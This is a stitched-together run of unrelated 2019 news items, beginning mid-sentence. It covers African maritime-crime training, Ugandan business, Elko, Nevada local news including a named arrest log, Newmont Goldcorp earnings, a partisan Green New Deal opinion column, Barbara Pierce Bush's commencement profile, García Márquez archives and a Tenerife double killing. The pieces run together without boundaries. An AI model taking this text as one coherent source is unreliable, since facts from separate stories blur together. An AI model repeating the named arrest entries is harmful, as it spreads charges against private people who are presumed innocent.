Slavery Act in 2015 to crack down on traffickers, force businesses to check their supply chains for forced labour, and protect people at risk of being enslaved. About 40 million people worldwide are living as slaves - trapped in forced labour or forced marriages - according to a landmark estimate by Australian rights group the Walk Free Foundation and the U.N. International Labor Organization (ILO). The East African Community (EAC), in partnership with the Intergovernmental Authority on Development (IGAD) and the Indian Ocean Commission have over the last three years been implementing the ESA-IO Maritime Security Strategy with a Euro 37.5 million seed funding from the European Union. Among the interventions envisaged is the enhancement of the Capacity of the Criminal Investigations Authorities of the participating states to effectively and efficiently investigate crimes at sea in a manner that provides a successful legal finish. The EAC was entrusted with this result area and commenced training of investigators on General investigations, Forensic Investigations and Criminal Analysis. Six intermediate trainings, targeting 50 officers per cluster were held between January and June 2018. The advanced trainings for the same officers in each of the clusters commenced with the training of 50 officers on Criminal Analysis that commenced on 23rd April 2019 in Mauritius. The trainings will take place within a two week period ending May 5th 2019. The trainings are being held at the Mauritius Prisons Training School in Port Louis. INTERPOL, within the context of the MoU between EAC and it (INTERPOL) concluded in 2012, is providing the technical expertise. Stories Continues after ad The trainings were formally launched by the Attorney General and Minister for Justice, Human Rights and Constitutional Reforms of Mauritius Hon Maneesh Gobin. In his speech the Minister underscored the need for collective action by regional states in combating transnational organized crime. He noted that with the increase in the movement of people, money and goods, the level of sophistication of crime that rides on economic and social integration has increased. He called for the intensification of both horizontal and vertical information sharing among and within agencies and across states. He re-emphasized the need to strengthen commonality of purpose and where possible expansion of the training program to encompass more states particularly the French Speaking island states whose legal systems are different yet whose security is inextricably tied to other regional states (both littoral and inland). The opening session was also graced by the Deputy Head of the EU Delegation in Mauritius Michael Gobalek, the Deputy Commissioner of Police Muktar Din Taujoo, and the Commissioner of Prisons, Premananda Apadoo. Participants for the trainings are drawn from Burundi, Kenya, Rwanda, Somalia, Seychelles, Mauritius, South Sudan, Tanzania, and Uganda. The Ruparelia Group which runs a multitude of companies in Uganda continues to flourish in Uganda even after the closure of Crane Bank Limited in 2016. The Group does business in real estate, hospitality, horticulture, labour export and education among others. In real estate business include; Speke Apartments on Wampewo Avenue, Kingdom Kampala Mall in Naksasero, Bukoto Heights Apartment and Tagore Apartments. In hospitality, the Group boasts of Munyonyo Country Resort, Speke Hotel, Kabira Country Club, among others. In education the Group runs the elite Kampala Parents School, Kampala International School Uganda (KISU) and Victoria University, all located within the boundaries of Kampala Capital City Authority. Recently Kampala Parents School offered a scholarship to Fresh Kid, a sensational young musician while Victoria University has also earmarked scholarships for best performers in Miss Curvey contest. Stories Continues after ad In horticulture, the Groups companies-Rosebud Limited and Premier Roses Ltd. Are major exporters of natural flower products to Europe and elsewhere. The two companies in October 2017 received Free Zone licenses from Uganda Free Zones Authority to grow more flowers in Namulanda Parish, Ssisa Sub-county, Wakiso District. The companies have also targeted Masaka and Kulkungu districts for flower growing. The growth of the companies means more jobs for Ugandans since the companies curently employs some of them on top of paying taxes to government, notwithstanding giving back to community throush the corporate social responsibility programme. Public Service Company of Oklahoma (PSO), an operating unit of American Electric Power (NYSE: AEP), has awarded a grant for $500 to help support the robotics team at McAlester High School. The grant is one of 26, totaling more than $21,000, being awarded across PSO's statewide service area for 2019. The FIRST (For Inspiration and Recognition of Science and Technology) robotics grants program is a nationwide initiative to support pre-kindergarten through grade 12 student education with an emphasis on STEM: Science, Technology, Engineering and Math. AEP funds FIRST grants on behalf of its operating companies. "PSO is aware of the critical need for strong STEM education and is proud to have our parent company's support in providing funding for our schools and robotics teams," said Frank Phillips, PSO community affairs manager for the McAlester area. "We are glad to help students as they pursue firsthand experiences in science and technology, and are hopeful they will continue their post-secondary studies in these fields and consider career options which require this knowledge." More information on FIRST robotics programs can be found at www.firstinspires.org. Information on how to apply for an AEP FIRST robotics grant can be found at www.aep.com/go/aepfirstgrant. Public Service Company of Oklahoma, a unit of American Electric Power (NYSE: AEP), is an electric utility company serving more than 550,000 customer accounts in eastern and southwestern Oklahoma. Based in Tulsa, PSO has more than 3,800 megawatts of generating capacity and is one of the largest distributors of wind energy in the state. News releases, community & educational activities and other information can be found at www.PSOklahoma.com. Connect with us on Facebook, Twitter and Instagram @PSOklahoma. Urban Grid, a leading developer of solar projects throughout the United States, is pleased to announce that NextEnergy Capital through their fund NextPower III, has acquired two of our solar development projects, totaling approximately 46MWp/34MWac, in Henrico County and Westmoreland County, VA. The two solar projects, Briel Farm Solar (28MWp/20MWac) and Gardy's Mill Solar (18MWp/14MWac), will cover approximately 300 acres and generate electricity equivalent to the consumption of 9,785 homes. These two projects represent NextEnergy Capital's first utility-scale solar venture in the United States for their new fund, NextPower III. The estimated $40m construction cost of the two projects will generate over 120 jobs. Construction will commence immediately with the projects expected to reach commercial operation by March 2020. The solar projects will provide direct and indirect economic benefits to the Commonwealth of Virginia of approximately $21m and will offset approximately 123,706,737 pounds of CO2 annually. Frank DePew, President of Urban Grid commented "Urban Grid is excited to announce the acquisitions of these two projects by NextEnergy. Our team members successfully partnered previously with NextEnergy on several solar projects in the UK and we are pleased to continue that relationship with the sale of Briel Farm Solar and Gardy's Mill Solar, facilitating NextEnergy's expansion into the US market. Urban Grid looks forward to continuing to bring exceptional development projects and economic benefits to the Commonwealth of Virginia. We are grateful to the many individuals that made these projects possible, especially those at Henrico County and Westmoreland County for their support and cooperation throughout the development process." Michael Bonte-Friedheim, CEO and Founding Partner of NextEnergy Capital highlighted "We are very pleased to announce NextPower III's first investments in the US solar market, where we expect to grow significantly in short order. We are also looking forward to strengthening the partnership with Urban Grid and developing our relationships within the local communities and institutions. Our track record of fostering mutually beneficial relationships in the communities in which we operate is something we are particularly proud of." About Urban Grid Urban Grid is a leading developer of utility-scale solar power plants. Founded in Richmond, Virginia, in 2011, with offices in Virginia, Washington, DC, and Maryland, Urban Grid has completed the development of approximately 646 MWp of solar projects and currently has more than 5,600 MWp of solar projects under development. Our team has a proven track record of delivering solar energy solutions for corporate, utility, and municipal clients to meet their sustainability and renewable energy goals. www.urbangridco.com About NextEnergy Capital NextEnergy Capital ("NEC") Group is one of the leading international investment and asset managers focused on the solar sector. Founded in 2007, NEC has over 140 employees across five offices, including London, Milan, Hyderabad, Luxembourg and Guernsey. Since inception it has acquired over 150 solar assets and NextEnergy Capital Limited currently manages c.$1.5 billion worth of solar investments. NextPower III is a private equity fund established to invest in the international solar sector, specifically to fund the construction and long-term ownership of solar power plants. NextPower III's target markets comprise mainly OECD and OECD Key Partner countries. It has initial commitments of c.US$160m, secured at its first close in November 2018, and a target size of US$750m. In the UK, the NextEnergy Solar Fund (NESF) is listed on the London Stock Exchange and is the largest listed solar infrastructure company in Europe. It has invested over 894 million into operating solar assets, amassing a portfolio of 87 operational sites, with a total capacity of 691MW. Of the 87 sites, 7 are in Italy and there are 3 portfolios of UK rooftop assets. Last May, more than 30,000 people took to fields and forests around the world, noting more than 7,000 species in a single day Global Big Day. Wherever you are in the world, you can be a part of birdings next world record. On May 4 you can join more than 30,000 others and become a part of Global Big Day. Bristlecone Audubon will be leading a field trip and everyone is welcome to participate (children under 16 must be accompanied by an adult). Participants will meet at the intersection of Lower Lamoille Road and the Lamoille Highway (across from Wells Propane) at 8 a.m. The group will then carpool using as few vehicles as possible. We will bird watch from there to the town of Lamoille, said Lois Ports of Bristlecone Audubon. This will take us through mostly agricultural lands with a section of pinyon juniper forest. We plan to eat lunch in the Lamoille Grove where we hope to pick up some migrating songbirds. For those who are able to spend the whole day, the afternoon will be spent birding at South Fork State Recreation Area. The birds that we see and hear will be entered into eBird, which is a worldwide bird checklist program used by millions of birders, Ports said. Its what allows us to compile everyones sightings into a single massive Global Big Day list while at the same time collecting the data for scientists to use to better understand birds. Last year 45 species of birds were seen on the Lower Lamoille portion of the trip. In the afternoon 25 additional species were seen for a total of 70 species and 494 individual birds for the day. One of the most unique birds seen last year was the bobolink. Bobolinks travel about 12,500 miles round-trip every year, in one of the longest migrations of any songbird in the New World. From their northern breeding grounds they fly in groups through Florida and across the Gulf of Mexico toward their wintering grounds in South America. Bobolinks breed in open areas across the northern United States and southern Canada, preferring large fields with a mixture of grasses and broad-leaved plants like legumes and dandelions. They formerly nested mainly in tall grass and mixed prairie of the midwestern United States and south-central Canada. They now also nest in eastern hayfields and meadows, which became available as eastern forests were cleared, and west of the Great Plains in recently irrigated habitats. Elko County has the only known breeding population of bobolinks in the state of Nevada, Lower Lamoille and also Goose Creek Meadows. Even if you cannot join Bristlecone for the field trip you can participate in this event. You dont need to be a bird expert or go out all day long. Even 10 minutes in your backyard will help. Global Big Day runs from midnight to midnight in your local time zone. First you will need an eBird account to submit your sightings. All you have to do is go to www.ebird.org and click the Get Started link on the left. Once you do that, youll be taken to a page where you can create your username, and begin using eBird for the first time. You can also download the free eBird Mobile app. This allows you to enter and submit lists while you are out birding and the app will even keep track of how far you have walked. For more information contact Lois Ports at bristleconeaudubon@gmail.com. Love 0 Funny 0 Wow 0 Sad 0 Angry 1 ELKO Women in the workplace were celebrated April 24 with a catered lunch, glass of wine and a history lesson at the 2019 Women in Business luncheon hosted by the Elko Daily Free Press. More than 100 women attended the sold-out event at the Elko Conference Center that featured keynote speaker Dana Bennett, president of the Nevada Mining Association. Bennett shared the stories of women who were pioneers in mining at a time when it was considered back luck for females to enter a mine. Some of those trailblazers included those who worked their own claims to the first women students of the Mackay School of Mines at the University of Nevada, Reno. Other speakers were Elaine Cassell of Soroptimist International of Elko; and Pam Lansford, legal advocate for the Committee Against Domestic Violence. This years raffle drawing proceeds of more than $800 were donated to CADV. Love 1 Funny 0 Wow 0 Sad 0 Angry 0 Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Newly named Newmont Goldcorp Inc. on April 25 announced earnings for the first quarter that were down from last year largely due to costs involved in the Newmont-Goldcorp merger and work on the joint venture with Barrick Gold Corp. for Nevada operations. The joint venture is still under development, but Newmont Mining Corp. and Goldcorp Inc. officially merged April 18, changing the name to Newmont Goldcorp. Newmont Goldcorp reported net income from continuing operations of $113 million, or 21 cents per share, in the first quarter of this year, down $170 million, or 32 cents, from the 2018 quarter, and attributed the drop not only to the merger and joint venture costs but also lower realized gold prices. The average realized price for gold was $1,300 per ounce, down $26 per ounce from the 2018 quarter, according to the earnings report. The lower gold price was partially offset, however, with higher gold production in the quarter of 1.23 million ounces, compared with a little more than 1.2 million ounces in the first quarter last year at a cost applicable to sales of $701 per ounce, up 6 percent from last year. Newmonts adjusted net income of $176 million for the quarter also was down but beat Wall Street expectations. The adjusted net income was 33 cents per share, compared with adjusted net income of $185 million, or 35 cents per share, last year. A survey by Zacks Investment Research of seven analysts showed an expectation of 26 cents per share. We delivered $349 million in free cash flow in the quarter while meeting production and cost targets on the back of continued operational excellence, Newmont Goldcorp Chief Executive Officer Gary Goldberg said. This performance gave us the means to deliver superior shareholder value in the form of a special dividend and to build a stronger future by advancing profitable projects on three continents and by progressing two historic transactions. Newmont Goldcorp also announced a dividend of 14 cents per share, and the company will be paying a one-time special dividend of 88 cents on May 1 to shareholders of record on April 17. The special dividend was an enticement for Newmont shareholders to vote on the merger, and Goldberg at the time tied it to the savings expected with the Barrick-Newmont joint venture. Our joint venture in Nevada will generate synergies and create the worlds largest gold mining complex, and our combination with Goldcorp will create the worlds leading gold business as measured by assets, prospects and people, Goldberg said in the April 25 earnings announcement. The first-quarter results dont include Goldcorp figures because the merger came later, but Newmonts executive vice president and chief financial officer, Nancy Buese, said the earnings report for the second quarter will incorporate figures from the operations that came to the company with the Goldcorp merger. She also said in the earnings teleconference that results from the Barrick-Newmont joint venture will be reported as a separate entity once the deal is closed, with Barrick in the lead creating financial statements. Newmont Goldcorp share prices closed April 25 at $31.63, down 57 cents. North America For North America, Newmont Goldcorp stated that gold production totaled 474,000 ounces in the first quarter, down from 490,000 in the 2018 quarter, with all but 81,000 ounces in the 2019 quarter coming from Nevada operations. The Cripple Creek & Victor Mine in Colorado produced the 81,000 ounces, compared with 71,000 in the 2018 quarter. The figures show the Carlin operations produced 218,000 ounces, down from 231,000 in the 2018 quarter, the Phoenix Mine, 49,000 ounces of gold, down from 62,000 ounces in the first quarter of last year, Twin Creeks Mine, 74,000 ounces, down from 81,000 ounces and Long Canyon, 52,000 ounces, up from 45,000 last year. Phoenix also produced 8,000 pounds of copper, up from 7,000 last year, and the company president and chief operating officer, Tom Palmer, said Phoenix is shifting to high-grade copper zones and away from gold. Total copper production company-wide was down 17 percent to 10,000 metric tons for the first quarter. Palmer also said in the earnings teleconference that the Chukar underground mine north of Carlin will resume operations in June. Chukar mining ended when a giant slide of a pit wall at the Gold Quarry Mine last year affected access. He said remediation at Gold Quarry continues, and Carlin operations delivered a steady performance in the first quarter. North American operations mined at an average cost applicable to sales of $787 per ounce, compared with $765 per ounce in the 2018 quarter. Cost were lowest at Long Canyon near Wells, at $391 per ounce, up from $357 in the 2018 quarter, according to the earnings report. Joint venture Looking at the joint venture agreement reached with Barrick in March, Goldberg said in the teleconference that the joint venture will combine not only operations, reserves and assets but talent and create opportunities for employees. He said the Newmont and Barrick teams have been meeting regularly. Barrick will operate the Nevada joint venture, but there will be a joint board and committees from both companies. Barricks share will be 61.5 percent and Newmonts share, 38.5 percent. The joint venture is expected to close within a couple of months, according to both companies. Goldberg said he thought Newmont and Barrick came to a very successful landing in the creation of the joint venture. The joint venture will include Barricks and Newmont Goldcorps Nevada mines, but a couple of exploration projects, including Barricks Fourmile, arent in the joint venture. Goldberg said there are royalties built into the agreement on exploration projects that go into production. Newmont-Goldcorp deal Although Goldcorp results werent included for the first quarter, Palmer said Goldcorps performance for the quarter was as expected, and he said the merger was by far the smoothest of any he has been involved with mainly because of an alignment of the company cultures. Still there are a couple of problems to work out with the former Goldcorp operations. Newmont Goldcorp is only in the early stages of investigating and determining repairs after a conveyor fire at the Musslewhite Mine in Canada, Palmer said. The fire happened March 29 during a shift change so there were no injuries. Newmont Goldcorp additionally is dealing with a partial blockade by protesters at the Penasquito Mine in Mexico. Protests involve water supply issues, Palmer said in the teleconference. He also estimated the predicted $365 million in pretax synergies created by the Newmont-Goldcorp merger would be reached in 2020. Our joint venture in Nevada will generate synergies and create the worlds largest gold mining complex, and our combination with Goldcorp will create the worlds leading gold business as measured by assets, prospects and people. Newmont Goldcorp CEO Gary Goldberg Love 0 Funny 0 Wow 0 Sad 0 Angry 0 April 25 Scott A. Boyles, 33, of Elko was arrested at Florence Way and Wendover Boulevard on a warrant for failure to appear after bail on a misdemeanor crime. Bail: $530 Salvador G. Espitia, 38, of Elko was arrested at 1025 Panorama Drive on a warrant for failure to appear after bail on a misdemeanor crime. Bail: $2,280 Marty M. Gallegos, 30, of Elko was arrested at Fifth and Commercial streets for battery. Bail: $1,140 Mickey L. Laughlin, 52, of Sparks was arrested on a warrant for eight counts of failure to appear after bail on a misdemeanor crime. Bail: $5,504.50 Fransesca R. Newman, 34, of Spring Creek was arrested at 2065 Idaho St. on a warrant for felony possession of a controlled substance. Bail: $5,000 Brian A. Penola, 35, of Mountain City was arrested at 1243 Idaho St. on a warrant for five counts of failure to appear after bail on a misdemeanor crime. Bail: $4,950 Semaj Ross, 26, of Elko was arrested on a warrant for failure to appear after bail on a misdemeanor crime. No bail Brian D. Rowley, 34, of Spring Creek was arrested from Salt Lake City for attempted murder with a deadly weapon. No bail The charges above do not imply guilt. Under the law, everyone is presumed innocent unless proven guilty in court. Love 0 Funny 1 Wow 2 Sad 0 Angry 0 CARSON CITY Nevada would become the 15th state to restore voting rights to felons who have completed their sentences if Assembly Bill 431, which passed the Assembly on Tuesday, becomes law. Currently in Nevada, voting rights only can be restored two years after a persons release, and only for people convicted of nonviolent crimes who petition the court where they were convicted. The Rev. Ralph Williamson, senior pastor at the First African Methodist Episcopal Church in North Las Vegas and president of the Faith Organizing Alliance, described Nevadans out of prison right now as being doubly penalized. Individuals who have served their time and have paid their price, they should have their rights and same privileges once they have been released, he said. They should have a chance for a new start and be given the same rights as any other citizen. By some estimates, 90,000 people have been disenfranchised in Nevada, or about 4 percent of the population. Opponents of the measure have cited moral reasons, and have said people who have been convicted of violent crimes are unfit to weigh in on public policy. Statistics show that African-Americans are arrested and convicted at much higher rates than their proportion of the population. Williamson said he thinks this change would give the community a greater voice to reform the system. People of color, mostly African-Americans, represent the larger proportion of individuals that are locked up, and many are locked up behind laws that need to be changed, he said. This will have a major voice in racial justice. Nevadas current law is considered relatively strict. Two statesMaine and Vermontallow people to vote even when theyre in prison. Fourteen states plus the District of Columbia restore that right only after a person has completed their sentence and parole terms. Laws in five other states are similar to Nevadas in that voting-rights restoration depends on the type of crime and must be ordered by a judge. The bill now goes to the Senate for a vote. The legislative session ends in June. Love 0 Funny 0 Wow 0 Sad 0 Angry 1 Progressive Democrats in February rolled out their Green New Deal a 14-page resolution introduced by New York Rep. Alexandra Ocasio-Cortez and Massachusetts Sen. Ed Markey. While non-binding, it calls for massive public investment in a 10-year national mobilization to exorcise carbon from the U.S. economy. The 10-year Green New Deal mandates generating 100 percent renewable energy and removing greenhouse gas emissions from manufacturing and transportation. Renewables currently make up only 17 percent of U.S. electric power generation, despite enormous federal and state subsidies. The plan provides for upgrading all existing buildings in the United States and building new buildings to achieve maximal energy efficiency, safety, affordability, comfort and durability, including through electrification. While millions of jobs would be destroyed in creating this new green world, the resolution says the government would also guarantee a job with a family-sustaining wage, adequate family and medical leave, paid vacations, and retirement security to all people of the United States. The Green New Deal means that all carbon energy and jobs would be purged but China would suffer no such limits on its fossil-fuel production. Republicans have torched progressive Democrats over the cost of the Green New Deal, which the American Action Forum, a conservative think tank, estimates at between $51 trillion and $93 trillion over a decade. Remarkably, the Green New Deal has met with support from liberal interest groups and the six Democratic presidential hopefuls Senators Kirsten Gillibrand, Cory Booker, Bernie Sanders, Kamala Harris, Amy Klobuchar and Elizabeth Warren are co-sponsors. Senate Republican Leader Mitch McConnell saw political advantage in calling the Green New Deal resolution up for action on March 26. The Senate rejected the Green New Deal in a decisive 57-0 vote that divided Senate Democrats. All Republican senators opposed the measure. They were joined by four Senators who caucus with the Democrats Joe Manchin, Kyrsten Sinema, Doug Jones and Angus King. 43 Democrats were placed in the politically embarrassing position of voting present on the resolution, rather than take a stand on a measure that many believe to be wildly unrealistic and politically untenable. Progressives claim the Green New Deal to be aspirational rather than a specific plan. But, critics point to the cautionary tale of Californias high speed rail. $10 billion in bonds were approved a decade ago, but the project was beset by uncontrolled costs. Governor Gavin Newsom abandoned the project in February as too costly when completion estimates reached $77 billion. California now has a government-owned train to nowhere from Merced to Bakersfield. President Trump enjoys mocking the Green New Deal and routinely belittles climate change as a hoax. However, Republican Senators Lamar Alexander, Mitt Romney and Lindsey Graham believe climate change to be real and that humans are a contributing cause. They are working on GOP climate approaches. Senator Alexander calls for A New Manhattan Project for Clean Energy, after the crash program to develop a nuclear bomb during World War II. He proposes spending the next five years meeting 10 big challenges. His strategy essentially calls for using government research dollars to ramp up use of a whole range of alternative energy sources. Alexanders strategy engenders controversy as well in its reliance on nuclear energy as a key alternative to fossil fuels. He also calls for developing nuclear-fusion technology , expanded natural gas use and development of carbon-capture technologies. While the Green New Deal has proven politically divisive and unattainable, Alexanders aim is to give Republicans and Democrats a bipartisan common ground path to a dramatic increase in government research funding for clean energy. Jim Hartman is an attorney residing in Genoa. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 She is co-founder and board chair of nonprofit Global Health Corps, which places young professionals in one-year fellowships to help tackle health care inequities. During the month leading up to UMBs commencement on Thursday, May 16, The Elm will feature stories on the ceremonys keynote speaker, honorary degree recipients, marshals, student remarker, and more. For more information, go to UMB's Commencement 2019 website. Today: Keynote speaker Barbara Pierce Bush Barbara Pierce Bush believes in the power of partnership and that health is a human right. Ten years ago, she combined those beliefs into action as co-founder of Global Health Corps (GHC), a nonprofit committed to mobilizing young professionals in an effort to boost health equity around the world. And as the keynote speaker at the University of Maryland, Baltimores (UMB) commencement on May 16, shes eager and excited to tell the Class of 2019 about GHC, its fellows, and their inspirational work. Our fellows work every day to make a difference in the world, says Bush, chair of the nonprofits board of directors and its former CEO. Their stories are not dissimilar to those of the UMB graduates young leaders who have the skills, drive, and passion to make a positive impact on the world and serve others. Bush, the daughter of former President George W. Bush and First Lady Laura Bush, was first moved to action in the area of global health equity in the summer of 2003, when as a Yale student she accompanied her father on a trip across eastern Africa as he launched the Presidents Emergency Plan for AIDS Relief. Once thinking of a career as an architect, she switched gears, graduated with a degree in humanities, and began to focus on global health. I was in college, and I vividly remember landing in Uganda, and there were hundreds of people waiting in the streets for drugs that had been available in the United States for years, Bush recalls. Those stark images of the inequity that exists in the world certainly blew my 21-year-old mind, and it taught me an unbelievable lesson of not stepping back. Bush certainly has stepped forward, co-founding Global Health Corps in 2009 and serving as its CEO until January 2018. Since its inception, GHC has placed more than 1,000 professionals from 40-plus countries into one-year paid fellowships with government health entities or nonprofits in eastern Africa, southern Africa, and the United States. The fellows, who help to fill areas of need in those organizations, work in teams of two one national fellow and one international fellow. And fellowships are not given only to those from the medical fields. A fan of interprofessional collaboration, a hallmark at UMB, Bush believes it takes a variety of professionals to tackle health inequity. For instance, GHC fellows with architectural backgrounds helped design a system that changed the way air flows through a health center in Rwanda, decreasing the risk of spreading tuberculosis, and other fellows have worked on improving drug-delivery methods in impoverished African communities. We need finance gurus and supply chain analysts, architects and designers, and educators and journalists, Bush says. We need leaders with diverse skill sets to come together to solve the most complex challenges and ensure everyone has access to quality health care. This is who weve been recruiting and training at Global Health Corps. Under Bushs leadership, GHC made sure its training integrated leadership and professional development with self-reflection and personal learning, building skills that are essential for effective and ethical leadership. The organization also is committed to diversity, describing it as the key to driving its fellows ability to be empathetic and effective leaders in the health equity movement. Diversity and inclusion matter enormously in global health, Bush says. Historically, the people who have effected change in global health have often been from medical backgrounds. Theyve often been academic, and theyve often been Western. And while weve made tremendous strides in global health, it is critical to acknowledge that change-makers can come from everywhere. Bushs work with GHC has not gone unnoticed. In 2011, she was named one of Glamour magazines Women of the Year. In 2013, Newsweek recognized her as one of its Women of Impact. In 2014, she was named one of Goldman Sachs 100 Most Intriguing Entrepreneurs. And in 2018, she won the Skoll Foundations Award for Social Entrepreneurship. Bush also is a member of UNICEFs Next Generation Steering Committee and has served on the board of directors of Covenant House International, PSI, and the United Nations Global Entrepreneurs Council. The awards are nice, but Bush says shes most proud of the community of global leaders GHC has cultivated and then connected to a wide range of health entities, as well as the fact that 95 percent of fellows remain in the global health field beyond their one-year GHC tenure. Each leader individually is incredible committed to health equity, eager to learn from others, and willing to show up day after day and listen, regardless of the challenge they and their team are facing, Bush says. But collectively, this network blows me away. Its incredibly rewarding to see young leaders who are deeply passionate about health but dont necessarily see how they fit in the sector complete the fellowship and emerge with a deeper understanding, passion, and commitment to being health equity advocates for life. And her advice to UMBs graduates? Stay open to new ideas and dont be afraid to explore new avenues in your career. I was on a clear path to becoming an architect, a job Id always dreamed of, Bush says. And, lucky for me, I didnt stick to that path. Instead, I nurtured the voice in my mind that was always interested in reading about global health and said yes to a number of moments in life that led to the founding of Global Health Corps. For that, my life is so much bigger than it wouldve ever been. Read more about the commencement speakers and honorees at the link below. Read more Gabriel Garcia Marquezs passport in 1955. Harry Ransom Center When the young journalist Gabriel Garcia Marquez was forced to leave Colombia in 1955 he had upset the government of dictator Rojas Pinilla with a series of articles linking smuggling to a boat accident that involved members of the military he was forced to live in exile in Europe, wandering through cities such as Geneva, Rome and Paris, according to his biographer Dasso Saldivar. It appears that Garcia Marquez could have established himself professionally in Madrid Alvaro Santana Acuna, researcher at Whitman College In 1955, a young Garcia Marquez also traveled to Madrid, which at the time was the capital of the Francisco Franco dictatorship, and asked El Espectador, a newspaper in the Colombian capital Bogota, if he could remain as a foreign correspondent. It was one of the ideas he proposed to his bosses in Colombia at that time. Its still a little unclear and needs to be studied more, but it appears that Garcia Marquez could have established himself professionally in Madrid, explains Alvaro Santana Acuna, a researcher at the Whitman College in Washington. Acuna is referring to a letter written by the Colombian author in 1955, which has been conserved by the Harry Ransom Center of Humanities at the University of Texas, in Austin. Acuna found the letter after studying the years-long correspondence between Garcia Marquez and Guillermo Cano, the editor of El Espectador, who was assassinated by Pablo Escobars hitmen in 1986. Garcia Marquez was in Madrid and asked Cano for a column on Spanish issues, for example an article on [Spanish writer] Pio Baroja, says Acuna. The letters Garcia Marquez sent to Cano were acquired by the Harry Ransom Center at the end of 2018 in a bid to expand its already extensive archive on the author, who was born in Aracataca, Colombia in 1927, and died in Mexico four years ago in April 2014. Garcia Marquezs personal files include 78 boxes of documents, 43 photo albums and 22 notebooks The correspondence with Cano provides information about a little-known time in the writers life, for instance his economic hardships in Paris and the feature articles he wrote while in Eastern Europe. He considered some of them, those on life in communist countries, to be his best work, says Acuna. The correspondence also includes a letter in which Garcia Marquez informs Cano that he is writing a novel called Cien Anos de Soledad (or, One Hundred Years of Solitude). The letter includes a small excerpt from the book that was published in El Espectador in 1966. In the letter, he recognizes that it is the first time in his life that hes published a fragment of a novel that hasnt been published yet. He does this following the trend set by some of the greatest authors of the era, such as Carlos Fuentes or Mario Vargas Llosa. This decision to publish excerpts is fundamental to understanding how Garcia Marquez became a professional writer a subject that is the focus of a book Acuna will publish next year, and which is based on his research at the Harry Ransom Center. Since 2014, the centers archive has included Garcia Marquezs personal files: 78 boxes of documents, 43 photo albums and 22 notebooks and notes, which have been partially digitized and are open to public consultation. These documents allow Acuna to reconstruct the process in which Garcia Marquez passes from a talented Colombian writer to a Latin American and global author, he says. Garcia Marquez actively sought out the opinion of friends, colleagues and critics including Colombian poet Alvaro Mutis, Spanish actress Maria Luisa Elio and her filmmaker husband Jomi Garcia Ascot, critic Emmanuel Carballo and writer Carlos Fuentes, to whom he sent the first 80 pages of Cien Anos de Soledad. From the first chapter published in El Espectador in May 1966 to the final edition released in 1967, 42 significant changes were made to the iconic novel. Unpublished documents The writers eager search for feedback will also be explored at an exhibition called Gabriel Garcia Marquez, the creation of a global author, which is directed and curated by Acuna, and will open next year at the Harry Ransom Center in Austin, Texas. The exhibition will feature unpublished and little-known documents, says Acuna, who explains there will be a section on the authors life, another on the creation of Cien Anos de Soledad and its impact, an area focused on his political activism, and another on his other works like El amor en los tiempos del colera (or, Love in the Time of Cholera) and Cronica de una muerte anunciada (or, Chronicle of a Death Foretold). Gabriel Garcia Marquezs edits of Cronica de una muerte anunciada (or Chronicle of a Death Foretold). Harry Ransom Center Another part of the exhibition will look at his influence on writers across the world, including Toni Morrison and Haruki Murakami, and the authors who influenced him. In the Harry Ransom Center there are documents that we will be able to show from, for example, James Joyce, Jorge Luis Borges and William Faulkner, explains Acuna. The exhibition is set to open in the first week of February 2020, and will remain at the center in Austin until June. The organizers are already in talks with museums in Mexico about showing the exhibit there at the beginning of the summer. English version by Asia London Palomba. The road leading up from the center of Adeje to the neighborhood of La Quinta, in southern Tenerife, is a winding affair lined with prickly pears and offering views of the sea. On clear days, the Teide volcano is visible from up there. Near the end of this road there is a house called Campo Alegre. It was there that Jonas, a little German boy, spent nearly 24 hours under the protection of a Dutch woman named Annelies B. after he was found wandering alone and in shock in the area. Jonas told her he had escaped from a cave where his father had led him, his mother and older brother to look for Easter presents. Instead, the father attacked the mother, and Jonas ran away when he saw the blood. Both his mother and brother were found dead on Wednesday, although Jonas has not been informed yet. Annelies B, the Dutch woman who acted as a translator for Jonas. Rafa Avero On Friday, the government representative in the Canaries, Juan Salvador Leon, said that the victims died after being repeatedly hit with stones, the EFE news agency reported. I am certain that it was premeditated, said Leon after observing a minute of silence. He had planned to trick his wife and kids [into going into the cave], probably because they trusted him. He escaped death, but he will suffer all his life from the consequences of the horrible things he saw inside that cave, added the government official. Jonas maternal grandparents are expected to arrive in Tenerife today to take charge of the boy. On Thursday, Annelies B. took questions from all the reporters who trekked to this corner of the popular Canary Islands destination after news emerged of the crime. Her story was a combination of horror and miraculous luck for Jonas, who might not have lived to tell the tale if he had gone uphill instead of down after running away. The child told Annelies that he had stayed away from the road on purpose so that his father could not find him. Also on Thursday, the Civil Guard took the suspect, Thomas Handrick, 43, back to his apartment on Ramon y Cajal street in Adeje in search of evidence of the crime. At the time of his arrest on Wednesday he was found sleeping at home, and he refused to reveal where his family members were. He is due to appear before a judge today. When Jonas was found by hikers and taken down to the police station, Annelies offered to act as a translator for the little boy, who only speaks German. When he explained what had happened, more than 100 emergency workers and police officers were sent out to the area he described, a place with dozens of caves, until the bodies were located on Wednesday at a spot between two ravines known as El Burro and El Infierno. Shylvia, 39, and her two sons had flown to Tenerife from Germany on Monday to spend the Easter vacation with Handrick. The parents were separated and the father had taken up residence in Adeje, where he worked as a cook. The couple were originally from the German region of Saxony-Anhalt. The cave where the bodies were found. Standing in front of her house, Annelies, 59, said it took a while for the child to open up to her. Little by little he told me what had happened, she said, adding that Jonas is seven, not five or six as reported by the media on Wednesday. Sources familiar with the case said his age has not been confirmed as no official ID has been located yet. Annelies said that the childs aunt has spoken to him on the phone. According to Jonass tale, his father had organized a family field trip for Tuesday. He rented a car, a dark blue Volkswagen Caddy, and they fixed sandwiches for a picnic. Then Handrick drove them to an area known as Ifonche, a steep spot between two ravines. It all seemed very nice, but then the father tricked them, said Annelies, sipping on a glass of water, her mouth dry from telling the story over and over again. He told them that he had hidden Easter presents for them inside a nearby cave. Jonas saw his father attack his mother with tremendous violence. Officially he does not know that she is dead, but he did see that she was badly hurt, recalled Annelies. He told me, Better to live than to get Easter presents. After helping the police take a statement from the child, Annelies asked for permission to have Jonas stay with her and her husband Jose. The little boy spent nearly a whole day at Campo Alegre, where he played with the couples grandchild. The former only speaks German and the latter only speaks Spanish, but that did not prevent them from laughing and playing together. They had a great time, said Annelies. Later they took out a folding bed and Jonas went to bed without dinner. He just ate a banana. He was very tired and fell asleep right away. On Wednesday at noon, Jonas was taken into state child care. Annelies went to see him on Thursday and he showed her two pieces of candy that hed been given. 